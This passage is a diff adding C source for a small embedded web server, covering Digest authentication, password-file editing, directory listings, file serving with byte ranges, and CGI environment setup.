+	while (isspace(* (unsigned char *) s))
+		s++;
+
+	/* Parse authorization header */
+	for (;;) {
+		name = skip(&s, "=");
+		value = skip(&s, " ");
+
+		/* Handle commas: Digest username="a", realm="b", ...*/
+		if (value[strlen(value) - 1] == ',')
+			value[strlen(value) - 1] = '\0';
+
+		/* Trim double quotes around values */
+		if (*value == '"') {
+			value++;
+			value[strlen(value) - 1] = '\0';
+		} else if (*value == '\0') {
+			break;
+		}
+
+		if (!strcmp(name, "username")) {
+			ah->user = value;
+		} else if (!strcmp(name, "cnonce")) {
+			ah->cnonce = value;
+		} else if (!strcmp(name, "response")) {
+			ah->response = value;
+		} else if (!strcmp(name, "uri")) {
+			ah->uri = value;
+		} else if (!strcmp(name, "qop")) {
+			ah->qop = value;
+		} else if (!strcmp(name, "nc")) {
+			ah->nc = value;
+		} else if (!strcmp(name, "nonce")) {
+			ah->nonce = value;
+		}
+	}
+
+	/* CGI needs it as REMOTE_USER */
+	if (ah->user != NULL)
+		conn->request_info.remote_user = mg_strdup(ah->user);
+
+	return (TRUE);
+}
+
+/*
+ * Authorize against the opened passwords file. Return 1 if authorized.
+ */
+static bool_t
+authorize(struct mg_connection *conn, FILE *fp)
+{
+	struct ah	ah;
+	char		line[256], f_user[256], domain[256], ha1[256],
+			f_domain[256], buf[MAX_REQUEST_SIZE];
+
+	if (!parse_auth_header(conn, buf, sizeof(buf), &ah))
+		return (FALSE);
+
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	mg_strlcpy(domain, conn->ctx->options[OPT_AUTH_DOMAIN], sizeof(domain));
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+
+	/* Loop over passwords file */
+	while (fgets(line, sizeof(line), fp) != NULL) {
+
+		if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) != 3)
+			continue;
+
+		if (!strcmp(ah.user, f_user) && !strcmp(domain, f_domain))
+			return (check_password(
+			    conn->request_info.request_method,
+			    ha1, ah.uri, ah.nonce, ah.nc, ah.cnonce, ah.qop,
+			    ah.response));
+	}
+
+	return (FALSE);
+}
+
+/*
+ * Return TRUE if request is authorised, FALSE otherwise.
+ */
+static bool_t
+check_authorization(struct mg_connection *conn, const char *path)
+{
+	FILE		*fp;
+	char		fname[FILENAME_MAX];
+	struct vec	uri_vec, filename_vec;
+	const char	*list;
+	bool_t		authorized;
+
+	fp = NULL;
+	authorized = TRUE;
+
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	list = conn->ctx->options[OPT_PROTECT];
+	while ((list = next_option(list, &uri_vec, &filename_vec)) != NULL) {
+		if (!memcmp(conn->request_info.uri, uri_vec.ptr, uri_vec.len)) {
+			(void) mg_snprintf(conn, fname, sizeof(fname), "%.*s",
+			    filename_vec.len, filename_vec.ptr);
+			if ((fp = mg_fopen(fname, "r")) == NULL)
+				cry(conn, "%s: cannot open %s: %s",
+				    __func__, fname, strerror(errno));
+			break;
+		}
+	}
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+	if (fp == NULL)
+		fp = open_auth_file(conn, path);
+
+	if (fp != NULL) {
+		authorized = authorize(conn, fp);
+		(void) fclose(fp);
+	}
+
+	return (authorized);
+}
+
+static void
+send_authorization_request(struct mg_connection *conn)
+{
+	char domain[128];
+
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	mg_strlcpy(domain, conn->ctx->options[OPT_AUTH_DOMAIN], sizeof(domain));
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+	conn->request_info.status_code = 401;
+	(void) mg_printf(conn,
+	    "HTTP/1.1 401 Unauthorized\r\n"
+	    "WWW-Authenticate: Digest qop=\"auth\", "
+	    "realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
+	    domain, (unsigned long) time(NULL));
+}
+
+static bool_t
+is_authorized_for_put(struct mg_connection *conn)
+{
+	FILE	*fp;
+	int	ret = FALSE;
+
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	fp = conn->ctx->options[OPT_AUTH_PUT] == NULL ? NULL :
+		mg_fopen(conn->ctx->options[OPT_AUTH_PUT], "r");
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+
+	if (fp != NULL) {
+		ret = authorize(conn, fp);
+		(void) fclose(fp);
+	}
+
+	return (ret);
+}
+
+enum mg_error_t
+mg_modify_passwords_file(struct mg_context *ctx, const char *fname,
+		const char *user, const char *pass)
+{
+	int		found;
+	char		line[512], u[512], d[512], domain[512],
+				ha1[33], tmp[FILENAME_MAX];
+	FILE		*fp, *fp2;
+
+	found = 0;
+	fp = fp2 = NULL;
+
+	(void) pthread_rwlock_rdlock(&ctx->rwlock);
+	mg_strlcpy(domain, ctx->options[OPT_AUTH_DOMAIN], sizeof(domain));
+	(void) pthread_rwlock_unlock(&ctx->rwlock);
+
+	/* Regard empty password as no password - remove user record. */
+	if (pass[0] == '\0')
+		pass = NULL;
+
+	(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
+
+	/* Create the file if does not exist */
+	if ((fp = mg_fopen(fname, "a+")) != NULL)
+		(void) fclose(fp);
+
+	/* Open the given file and temporary file */
+	if ((fp = mg_fopen(fname, "r")) == NULL) {
+		cry(fc(ctx), "Cannot open %s: %s", fname, strerror(errno));
+		return (MG_ERROR);
+	} else if ((fp2 = mg_fopen(tmp, "w+")) == NULL) {
+		cry(fc(ctx), "Cannot open %s: %s", tmp, strerror(errno));
+		return (MG_ERROR);
+	}
+
+	/* Copy the stuff to temporary file */
+	while (fgets(line, sizeof(line), fp) != NULL) {
+
+		if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2)
+			continue;
+
+		if (!strcmp(u, user) && !strcmp(d, domain)) {
+			found++;
+			if (pass != NULL) {
+				mg_md5(ha1, user, ":", domain, ":", pass, NULL);
+				fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
+			}
+		} else {
+			(void) fprintf(fp2, "%s", line);
+		}
+	}
+
+	/* If new user, just add it */
+	if (!found && pass != NULL) {
+		mg_md5(ha1, user, ":", domain, ":", pass, NULL);
+		(void) fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
+	}
+
+	/* Close files */
+	(void) fclose(fp);
+	(void) fclose(fp2);
+
+	/* Put the temp file in place of real file */
+	(void) mg_remove(fname);
+	(void) mg_rename(tmp, fname);
+
+	return (MG_SUCCESS);
+}
+
+struct de {
+	struct mg_connection	*conn;
+	char			*file_name;
+	struct mgstat		st;
+};
+
+static void
+url_encode(const char *src, char *dst, size_t dst_len)
+{
+	const char	*dont_escape = "._-$,;~()";
+	const char	*hex = "0123456789abcdef";
+	const char	*end = dst + dst_len - 1;
+	
+	for (; *src != '\0' && dst < end; src++, dst++) {
+		if (isalnum(*(unsigned char *) src) ||
+		    strchr(dont_escape, * (unsigned char *) src) != NULL) {
+			*dst = *src;
+		} else if (dst + 2 < end) {
+			dst[0] = '%';
+			dst[1] = hex[(* (unsigned char *) src) >> 4];
+			dst[2] = hex[(* (unsigned char *) src) & 0xf];
+			dst += 2;
+		}
+	}
+
+	*dst = '\0';
+}
+
+/*
+ * This function is called from send_directory() and prints out
+ * single directory entry.
+ */
+static void
+print_dir_entry(struct de *de)
+{
+	char		size[64], mod[64], href[FILENAME_MAX];
+
+	if (de->st.is_directory) {
+		(void) mg_snprintf(de->conn,
+		    size, sizeof(size), "%s", "[DIRECTORY]");
+	} else {
+		/*
+		 * We use (signed) cast below because MSVC 6 compiler cannot
+		 * convert unsigned __int64 to double. Sigh.
+		 */
+		if (de->st.size < 1024)
+			(void) mg_snprintf(de->conn, size, sizeof(size),
+			    "%lu", (unsigned long) de->st.size);
+		else if (de->st.size < 1024 * 1024)
+			(void) mg_snprintf(de->conn, size, sizeof(size),
+			    "%.1fk", (double) de->st.size / 1024.0);
+		else if (de->st.size < 1024 * 1024 * 1024)
+			(void) mg_snprintf(de->conn, size, sizeof(size),
+			    "%.1fM", (double) de->st.size / 1048576);
+		else
+			(void) mg_snprintf(de->conn, size, sizeof(size),
+			  "%.1fG", (double) de->st.size / 1073741824);
+	}
+	(void) strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M",
+		localtime(&de->st.mtime));
+
+	url_encode(de->file_name, href, sizeof(href));
+
+	de->conn->num_bytes_sent += mg_printf(de->conn,
+	    "<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
+	    "<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
+	    de->conn->request_info.uri, href, de->st.is_directory ? "/" : "",
+	    de->file_name, de->st.is_directory ? "/" : "", mod, size);
+}
+
+/*
+ * This function is called from send_directory() and used for
+ * sorting direcotory entries by size, or name, or modification time.
+ */
+static int
+compare_dir_entries(const void *p1, const void *p2)
+{
+	const struct de	*a = (struct de *) p1, *b = (struct de *) p2;
+	const char	*query_string = a->conn->request_info.query_string;
+	int		cmp_result = 0;
+
+	if (query_string == NULL)
+		query_string = "na";
+
+	if (a->st.is_directory && !b->st.is_directory) {
+		return (-1);  /* Always put directories on top */
+	} else if (!a->st.is_directory && b->st.is_directory) {
+		return (1);   /* Always put directories on top */
+	} else if (*query_string == 'n') {
+		cmp_result = strcmp(a->file_name, b->file_name);
+	} else if (*query_string == 's') {
+		cmp_result = a->st.size == b->st.size ? 0 :
+			a->st.size > b->st.size ? 1 : -1;
+	} else if (*query_string == 'd') {
+		cmp_result = a->st.mtime == b->st.mtime ? 0 :
+			a->st.mtime > b->st.mtime ? 1 : -1;
+	}
+
+	return (query_string[1] == 'd' ? -cmp_result : cmp_result);
+}
+
+/*
+ * Send directory contents.
+ */
+static void
+send_directory(struct mg_connection *conn, const char *dir)
+{
+	struct dirent	*dp;
+	DIR		*dirp;
+	struct de	*entries = NULL;
+	char		path[FILENAME_MAX];
+	int		i, sort_direction, num_entries = 0, arr_size = 128;
+
+	if ((dirp = opendir(dir)) == NULL) {
+		send_error(conn, 500, "Cannot open directory",
+		    "Error: opendir(%s): %s", path, strerror(ERRNO));
+		return;
+	}
+
+	(void) mg_printf(conn, "%s",
+	    "HTTP/1.1 200 OK\r\n"
+	    "Connection: close\r\n"
+	    "Content-Type: text/html; charset=utf-8\r\n\r\n");
+
+	sort_direction = conn->request_info.query_string != NULL &&
+	    conn->request_info.query_string[1] == 'd' ? 'a' : 'd';
+
+	while ((dp = readdir(dirp)) != NULL) {
+
+		/* Do not show current dir and passwords file */
+		if (!strcmp(dp->d_name, ".") ||
+		    !strcmp(dp->d_name, "..") ||
+		    !strcmp(dp->d_name, PASSWORDS_FILE_NAME))
+			continue;
+
+		if (entries == NULL || num_entries >= arr_size) {
+			arr_size *= 2;
+			entries = (struct de *) realloc(entries,
+			    arr_size * sizeof(entries[0]));
+		}
+
+		if (entries == NULL) {
+			send_error(conn, 500, "Cannot open directory",
+			    "%s", "Error: cannot allocate memory");
+			return;
+		}
+
+		(void) mg_snprintf(conn, path, sizeof(path), "%s%c%s",
+		    dir, DIRSEP, dp->d_name);
+
+		/*
+		 * If we don't memset stat structure to zero, mtime will have
+		 * garbage and strftime() will segfault later on in
+		 * print_dir_entry(). memset is required only if mg_stat()
+		 * fails. For more details, see
+		 * http://code.google.com/p/mongoose/issues/detail?id=79
+		 */
+		if (mg_stat(path, &entries[num_entries].st) != 0)
+			(void) memset(&entries[num_entries].st, 0,
+			    sizeof(entries[num_entries].st));
+
+		entries[num_entries].conn = conn;
+		entries[num_entries].file_name = mg_strdup(dp->d_name);
+		num_entries++;
+	}
+	(void) closedir(dirp);
+
+	conn->num_bytes_sent += mg_printf(conn,
+	    "<html><head><title>Index of %s</title>"
+	    "<style>th {text-align: left;}</style></head>"
+	    "<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
+	    "<tr><th><a href=\"?n%c\">Name</a></th>"
+	    "<th><a href=\"?d%c\">Modified</a></th>"
+	    "<th><a href=\"?s%c\">Size</a></th></tr>"
+	    "<tr><td colspan=\"3\"><hr></td></tr>",
+	    conn->request_info.uri, conn->request_info.uri,
+	    sort_direction, sort_direction, sort_direction);
+
+	/* Print first entry - link to a parent directory */
+	conn->num_bytes_sent += mg_printf(conn,
+	    "<tr><td><a href=\"%s%s\">%s</a></td>"
+	    "<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
+	    conn->request_info.uri, "..", "Parent directory", "-", "-");
+
+	/* Sort and print directory entries */
+	qsort(entries, num_entries, sizeof(entries[0]), compare_dir_entries);
+	for (i = 0; i < num_entries; i++) {
+		print_dir_entry(&entries[i]);
+		free(entries[i].file_name);
+	}
+	free(entries);
+
+	conn->num_bytes_sent += mg_printf(conn, "%s", "</table></body></html>");
+	conn->request_info.status_code = 200;
+}
+
+/*
+ * Send len bytes from the opened file to the client.
+ */
+static void
+send_opened_file_stream(struct mg_connection *conn, FILE *fp, int64_t len)
+{
+	char	buf[BUFSIZ];
+	int	to_read, num_read, num_written;
+
+	while (len > 0) {
+		/* Calculate how much to read from the file in the buffer */
+		to_read = sizeof(buf);
+		if ((int64_t) to_read > len)
+			to_read = (int) len;
+
+		/* Read from file, exit the loop on error */
+		if ((num_read = fread(buf, 1, to_read, fp)) == 0)
+			break;
+
+		/* Send read bytes to the client, exit the loop on error */
+		if ((num_written = mg_write(conn, buf, num_read)) != num_read)
+			break;
+
+		/* Both read and were successful, adjust counters */
+		conn->num_bytes_sent += num_written;
+		len -= num_written;
+	}
+}
+
+/*
+ * Send regular file contents.
+ */
+static void
+send_file(struct mg_connection *conn, const char *path, struct mgstat *stp)
+{
+	char		date[64], lm[64], etag[64], range[64];
+	const char	*fmt = "%a, %d %b %Y %H:%M:%S %Z", *msg = "OK", *hdr;
+	time_t		curtime = time(NULL);
+	int64_t		cl, r1, r2;
+	struct vec	mime_vec;
+	FILE		*fp;
+	int		n;
+
+	get_mime_type(conn->ctx, path, &mime_vec);
+	cl = stp->size;
+	conn->request_info.status_code = 200;
+	range[0] = '\0';
+
+	if ((fp = mg_fopen(path, "rb")) == NULL) {
+		send_error(conn, 500, http_500_error,
+		    "fopen(%s): %s", path, strerror(ERRNO));
+		return;
+	}
+	set_close_on_exec(fileno(fp));
+
+	/* If Range: header specified, act accordingly */
+	r1 = r2 = 0;
+	hdr = mg_get_header(conn, "Range");
+	if (hdr != NULL && (n = sscanf(hdr,
+	    "bytes=%" INT64_FMT "-%" INT64_FMT, &r1, &r2)) > 0) {
+		conn->request_info.status_code = 206;
+		(void) fseeko(fp, (off_t) r1, SEEK_SET);
+		cl = n == 2 ? r2 - r1 + 1: cl - r1;
+		(void) mg_snprintf(conn, range, sizeof(range),
+		    "Content-Range: bytes "
+		    "%" INT64_FMT "-%"
+		    INT64_FMT "/%" INT64_FMT "\r\n",
+		    r1, r1 + cl - 1, stp->size);
+		msg = "Partial Content";
+	}
+
+	/* Prepare Etag, Date, Last-Modified headers */
+	(void) strftime(date, sizeof(date), fmt, localtime(&curtime));
+	(void) strftime(lm, sizeof(lm), fmt, localtime(&stp->mtime));
+	(void) mg_snprintf(conn, etag, sizeof(etag), "%lx.%lx",
+	    (unsigned long) stp->mtime, (unsigned long) stp->size);
+
+	(void) mg_printf(conn,
+	    "HTTP/1.1 %d %s\r\n"
+	    "Date: %s\r\n"
+	    "Last-Modified: %s\r\n"
+	    "Etag: \"%s\"\r\n"
+	    "Content-Type: %.*s\r\n"
+	    "Content-Length: %" INT64_FMT "\r\n"
+	    "Connection: close\r\n"
+	    "Accept-Ranges: bytes\r\n"
+	    "%s\r\n",
+	    conn->request_info.status_code, msg, date, lm, etag,
+	    mime_vec.len, mime_vec.ptr, cl, range);
+
+	if (strcmp(conn->request_info.request_method, "HEAD") != 0)
+		send_opened_file_stream(conn, fp, cl);
+	(void) fclose(fp);
+}
+
+/*
+ * Parse HTTP headers from the given buffer, advance buffer to the point
+ * where parsing stopped.
+ */
+static void
+parse_http_headers(char **buf, struct mg_request_info *ri)
+{
+	int	i;
+
+	for (i = 0; i < (int) ARRAY_SIZE(ri->http_headers); i++) {
+		ri->http_headers[i].name = skip(buf, ": ");
+		ri->http_headers[i].value = skip(buf, "\r\n");
+		if (ri->http_headers[i].name[0] == '\0')
+			break;
+		ri->num_headers = i + 1;
+	}
+}
+
+static bool_t
+is_valid_http_method(const char *method)
+{
+	return (!strcmp(method, "GET") ||
+	    !strcmp(method, "POST") ||
+	    !strcmp(method, "HEAD") ||
+	    !strcmp(method, "PUT") ||
+	    !strcmp(method, "DELETE"));
+}
+
+/*
+ * Parse HTTP request, fill in mg_request_info structure.
+ */
+static bool_t
+parse_http_request(char *buf, struct mg_request_info *ri)
+{
+	int	success_code = FALSE;
+
+	ri->request_method = skip(&buf, " ");
+	ri->uri = skip(&buf, " ");
+	ri->http_version = skip(&buf, "\r\n");
+
+	if (is_valid_http_method(ri->request_method) &&
+	    ri->uri[0] == '/' &&
+	    strncmp(ri->http_version, "HTTP/", 5) == 0) {
+		ri->http_version += 5;   /* Skip "HTTP/" */
+		parse_http_headers(&buf, ri);
+		success_code = TRUE;
+	}
+
+	return (success_code);
+}
+
+/*
+ * Keep reading the input (either opened file descriptor fd, or socket sock,
+ * or SSL descriptor ssl) into buffer buf, until \r\n\r\n appears in the
+ * buffer (which marks the end of HTTP request). Buffer buf may already
+ * have some data. The length of the data is stored in nread.
+ * Upon every read operation, increase nread by the number of bytes read.
+ */
+static int
+read_request(FILE *fp, SOCKET sock, SSL *ssl, char *buf, int bufsiz, int *nread)
+{
+	int	n, request_len;
+
+	request_len = 0;
+	while (*nread < bufsiz && request_len == 0) {
+		n = pull(fp, sock, ssl, buf + *nread, bufsiz - *nread);
+		if (n <= 0) {
+			break;
+		} else {
+			*nread += n;
+			request_len = get_request_len(buf, (size_t) *nread);
+		}
+	}
+
+	return (request_len);
+}
+
+/*
+ * For given directory path, substitute it to valid index file.
+ * Return 0 if index file has been found, -1 if not found.
+ * If the file is found, it's stats is returned in stp.
+ */
+static bool_t
+substitute_index_file(struct mg_connection *conn,
+		char *path, size_t path_len, struct mgstat *stp)
+{
+	const char	*list;
+	struct mgstat	st;
+	struct vec	filename_vec;
+	size_t		n;
+	bool_t		found;
+
+	n = strlen(path);
+
+	/*
+	 * The 'path' given to us points to the directory. Remove all trailing
+	 * directory separator characters from the end of the path, and
+	 * then append single directory separator character.
+	 */
+	while (n > 0 && IS_DIRSEP_CHAR(path[n - 1]))
+		n--;
+	path[n] = DIRSEP;
+
+	/*
+	 * Traverse index files list. For each entry, append it to the given
+	 * path and see if the file exists. If it exists, break the loop
+	 */
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	list = conn->ctx->options[OPT_INDEX_FILES];
+	found = FALSE;
+
+	while ((list = next_option(list, &filename_vec, NULL)) != NULL) {
+
+		/* Ignore too long entries that may overflow path buffer */
+		if (filename_vec.len > path_len - n)
+			continue;
+
+		/* Prepare full path to the index file  */
+		(void) mg_strlcpy(path + n + 1,
+		    filename_vec.ptr, filename_vec.len + 1);
+
+		/* Does it exist ? */
+		if (mg_stat(path, &st) == 0) {
+			/* Yes it does, break the loop */
+			*stp = st;
+			found = TRUE;
+			break;
+		}
+	}
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+	/* If no index file exists, restore directory path */
+	if (found == FALSE)
+		path[n] = '\0';
+
+	return (found);
+}
+
+/*
+ * Return True if we should reply 304 Not Modified.
+ */
+static bool_t
+is_not_modified(const struct mg_connection *conn, const struct mgstat *stp)
+{
+	const char *ims = mg_get_header(conn, "If-Modified-Since");
+	return FALSE;
+	return (ims != NULL && stp->mtime <= date_to_epoch(ims));
+}
+
+static bool_t
+append_chunk(struct mg_request_info *ri, FILE *fp, const char *buf, int len)
+{
+	bool_t	ret_code = TRUE;
+
+	if (fp == NULL) {
+		/* TODO: check for NULL here */
+		ri->post_data = (char *) realloc(ri->post_data,
+		    ri->post_data_len + len);
+		(void) memcpy(ri->post_data + ri->post_data_len, buf, len);
+		ri->post_data_len += len;
+	} else if (push(fp, INVALID_SOCKET,
+	    NULL, buf, (int64_t) len) != (int64_t) len) {
+		ret_code = FALSE;
+	}
+
+	return (ret_code);
+}
+
+static bool_t
+handle_request_body(struct mg_connection *conn, FILE *fp)
+{
+	struct mg_request_info	*ri = &conn->request_info;
+	const char	*expect, *tmp;
+	int64_t		content_len;
+	char		buf[BUFSIZ];
+	int		to_read, nread, already_read;
+	bool_t		success_code = FALSE;
+
+	content_len = get_content_length(conn);
+	expect = mg_get_header(conn, "Expect");
+
+	if (content_len == -1) {
+		send_error(conn, 411, "Length Required", "");
+	} else if (expect != NULL && mg_strcasecmp(expect, "100-continue")) {
+		send_error(conn, 417, "Expectation Failed", "");
+	} else {
+		if (expect != NULL)
+			(void) mg_printf(conn, "HTTP/1.1 100 Continue\r\n\r\n");
+
+		already_read = ri->post_data_len;
+		assert(already_read >= 0);
+
+		if (content_len <= (int64_t) already_read) {
+			ri->post_data_len = (int) content_len;
+			/*
+			 * If fp is NULL, this is embedded mode, and we do not
+			 * have to do anything: POST data is already there,
+			 * no need to allocate a buffer and copy it in.
+			 * If fp != NULL, we need to write the data.
+			 */
+			success_code = fp == NULL || (push(fp, INVALID_SOCKET,
+			    NULL, ri->post_data, content_len) == content_len) ?
+			    TRUE : FALSE;
+		} else {
+
+			if (fp == NULL) {
+				conn->free_post_data = TRUE;
+				tmp = ri->post_data;
+				/* +1 in case if already_read == 0 */
+				ri->post_data = (char*)malloc(already_read + 1);
+				(void) memcpy(ri->post_data, tmp, already_read);
+			} else {
+				(void) push(fp, INVALID_SOCKET, NULL,
+				    ri->post_data, (int64_t) already_read);
+			}
+
+			content_len -= already_read;
+
+			while (content_len > 0) {
+				to_read = sizeof(buf);
+				if ((int64_t) to_read > content_len)
+					to_read = (int) content_len;
+				nread = pull(NULL, conn->client.sock,
+				    conn->ssl, buf, to_read);
+				if (nread <= 0)
+					break;
+				if (!append_chunk(ri, fp, buf, nread))
+					break;
+				content_len -= nread;
+			}
+			success_code = content_len == 0 ? TRUE : FALSE;
+		}
+
+		/* Each error code path in this function must send an error */
+		if (success_code != TRUE)
+			send_error(conn, 577, http_500_error,
+			    "%s", "Error handling body data");
+	}
+
+	return (success_code);
+}
+
+#if !defined(NO_CGI)
+
+/*
+ * This structure helps to create an environment for the spawned CGI program.
+ * Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
+ * last element must be NULL.
+ * However, on Windows there is a requirement that all these VARIABLE=VALUE\0
+ * strings must reside in a contiguous buffer. The end of the buffer is
+ * marked by two '\0' characters.
+ * We satisfy both worlds: we create an envp array (which is vars), all
+ * entries are actually pointers inside buf.
+ */
+struct cgi_env_block {
+	struct mg_connection *conn;
+	char	buf[CGI_ENVIRONMENT_SIZE];	/* Environment buffer	*/
+	int	len;				/* Space taken		*/
+	char	*vars[MAX_CGI_ENVIR_VARS];	/* char **envp		*/
+	int	nvars;				/* Number of variables	*/
+};
+
+/*
+ * Append VARIABLE=VALUE\0 string to the buffer, and add a respective
+ * pointer into the vars array.
+ */
+static char *
+addenv(struct cgi_env_block *block, const char *fmt, ...)
+{
+	int	n, space;
+	char	*added;
+	va_list	ap;
+
+	/* Calculate how much space is left in the buffer */
+	space = sizeof(block->buf) - block->len - 2;
+	assert(space >= 0);
+
+	/* Make a pointer to the free space int the buffer */
+	added = block->buf + block->len;
+
+	/* Copy VARIABLE=VALUE\0 string into the free space */
+	va_start(ap, fmt);
+	n = mg_vsnprintf(block->conn, added, (size_t) space, fmt, ap);
+	va_end(ap);
+
+	/* Make sure we do not overflow buffer and the envp array */
+	if (n > 0 && n < space &&
+	    block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
+		/* Append a pointer to the added string into the envp array */
+		block->vars[block->nvars++] = block->buf + block->len;
+		/* Bump up used length counter. Include \0 terminator */
+		block->len += n + 1;
+	}
+
+	return (added);
+}
+
+static void
+prepare_cgi_environment(struct mg_connection *conn, const char *prog,
+		struct cgi_env_block *blk)
+{
+	const char	*s, *script_filename, *slash;
+	struct vec	var_vec;
+	char		*p;
+	int		i;
+
+	blk->len = blk->nvars = 0;
+	blk->conn = conn;
+
+	/* SCRIPT_FILENAME */
+	script_filename = prog;
+	if ((s = strrchr(prog, '/')) != NULL)
+		script_filename = s + 1;
+
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	addenv(blk, "SERVER_NAME=%s", conn->ctx->options[OPT_AUTH_DOMAIN]);
+	addenv(blk, "SERVER_ROOT=%s", conn->ctx->options[OPT_ROOT]);
+	addenv(blk, "DOCUMENT_ROOT=%s", conn->ctx->options[OPT_ROOT]);
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+	/* Prepare the environment block */
+	addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
+	addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
+	addenv(blk, "%s", "REDIRECT_STATUS=200");	/* PHP */
+	addenv(blk, "SERVER_PORT=%d", ntohs(conn->client.lsa.u.sin.sin_port));
+	addenv(blk, "REQUEST_METHOD=%s", conn->request_info.request_method);
+	addenv(blk, "REMOTE_ADDR=%s",
+	    inet_ntoa(conn->client.rsa.u.sin.sin_addr));
+	addenv(blk, "REMOTE_PORT=%d", conn->request_info.remote_port);
+	addenv(blk, "REQUEST_URI=%s", conn->request_info.uri);
+
+	slash = strrchr(conn->request_info.uri, '/');
+	addenv(blk, "SCRIPT_NAME=%.*s%s",
+	    (slash - conn->request_info.uri) + 1, conn->request_info.uri,
+	    script_filename);
+
+	addenv(blk, "SCRIPT_FILENAME=%s", script_filename);	/* PHP */
+	addenv(blk, "PATH_TRANSLATED=%s", prog);
+	addenv(blk, "HTTPS=%s", conn->ssl == NULL ? "off" : "on");
+
+	if ((s = mg_get_header(conn, "Content-Type")) != NULL)
+		addenv(blk, "CONTENT_TYPE=%s", s);
+
+	if (conn->request_info.query_string != NULL)
+		addenv(blk, "QUERY_STRING=%s", conn->request_info.query_string);
+
+	if ((s = mg_get_header(conn, "Content-Length")) != NULL)
+		addenv(blk, "CONTENT_LENGTH=%s", s);
+
+	if ((s = getenv("PATH")) != NULL)
+		addenv(blk, "PATH=%s", s);
+
+#if defined(_WIN32)
+	if ((s = getenv("COMSPEC")) != NULL)
+		addenv(blk, "COMSPEC=%s", s);
+	if ((s = getenv("SYSTEMROOT")) != NULL)
+		addenv(blk, "SYSTEMROOT=%s", s);
+#else
+	if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
+		addenv(blk, "LD_LIBRARY_PATH=%s", s);
+#endif /* _WIN32 */
+
+	if ((s = getenv("PERLLIB")) != NULL)
+		addenv(blk, "PERLLIB=%s", s);
+
+	if (conn->request_info.remote_user != NULL) {
+		addenv(blk, "REMOTE_USER=%s", conn->request_info.remote_user);
+		addenv(blk, "%s", "AUTH_TYPE=Digest");
+	}
+
+	/* Add all headers as HTTP_* variables */
+	for (i = 0; i < conn->request_info.num_headers; i++) {
+		p = addenv(blk, "HTTP_%s=%s",
+		    conn->request_info.http_headers[i].name,
+		    conn->request_info.http_headers[i].value);
+
+		/* Convert variable name into uppercase, and change - to _ */
+		for (; *p != '=' && *p != '\0'; p++) {
+			if (*p == '-')
+				*p = '_';
+			*p = (char) toupper(* (unsigned char *) p);
+		}
+	}
+
+	/* Add user-specified variables */
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	s = conn->ctx->options[OPT_CGI_ENV];
+	while ((s = next_option(s, &var_vec, NULL)) != NULL)
+		addenv(blk, "%.*s", var_vec.len, var_vec.ptr);
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+	blk->vars[blk->nvars++] = NULL;
+	blk->buf[blk->len++] = '\0';
+
+	assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
+	assert(blk->len > 0);
+	assert(blk->len < (int) sizeof(blk->buf));
+}
+
+static void
+send_cgi(struct mg_connection *conn, const char *prog)
+{
+	int			headers_len, data_len, i;
+	const char		*status;
+	char			buf[MAX_REQUEST_SIZE], *pbuf;
+	struct mg_request_info	ri;
+	struct cgi_env_block	blk;
+	char			dir[FILENAME_MAX], *p;
+	int			fd_stdin[2], fd_stdout[2];
+	FILE			*in, *out;
+	pid_t			pid;
+
+	prepare_cgi_environment(conn, prog, &blk);
+
+	/* CGI must be executed in its own directory */
+	(void) mg_snprintf(conn, dir, sizeof(dir), "%s", prog);
+	if ((p = strrchr(dir, DIRSEP)) != NULL)
+		*p++ = '\0';
+
+	pid = (pid_t) -1;
+	fd_stdin[0] = fd_stdin[1] = fd_stdout[0] = fd_stdout[1] = -1;
+	in = out = NULL;
+
+	if (pipe(fd_stdin) != 0 || pipe(fd_stdout) != 0) {
+		send_error(conn, 500, http_500_error,
+		    "Cannot create CGI pipe: %s", strerror(ERRNO));
+		goto done;
+	} else if ((pid = spawn_process(conn, p, blk.buf, blk.vars,
+	    fd_stdin[0], fd_stdout[1], dir)) == (pid_t) -1) {
+		goto done;
+	} else if ((in = fdopen(fd_stdin[1], "wb")) == NULL ||
+	    (out = fdopen(fd_stdout[0], "rb")) == NULL) {
+		send_error(conn, 500, http_500_error,
+		    "fopen: %s", strerror(ERRNO));
+		goto done;
+	}
+
+	setbuf(in, NULL);
+	setbuf(out, NULL);
+
+	/*
+	 * spawn_process() must close those!
+	 * If we don't mark them as closed, close() attempt before
+	 * return from this function throws an exception on Windows.
+	 * Windows does not like when closed descriptor is closed again.
+	 */
+	fd_stdin[0] = fd_stdout[1] = -1;
+
+	/* Send POST data to the CGI process if needed */
+	if (!strcmp(conn->request_info.request_method, "POST") &&
+	    !handle_request_body(conn, in)) {
+		goto done;
+	}
+
+	/*
+	 * Now read CGI reply into a buffer. We need to set correct
+	 * status code, thus we need to see all HTTP headers first.
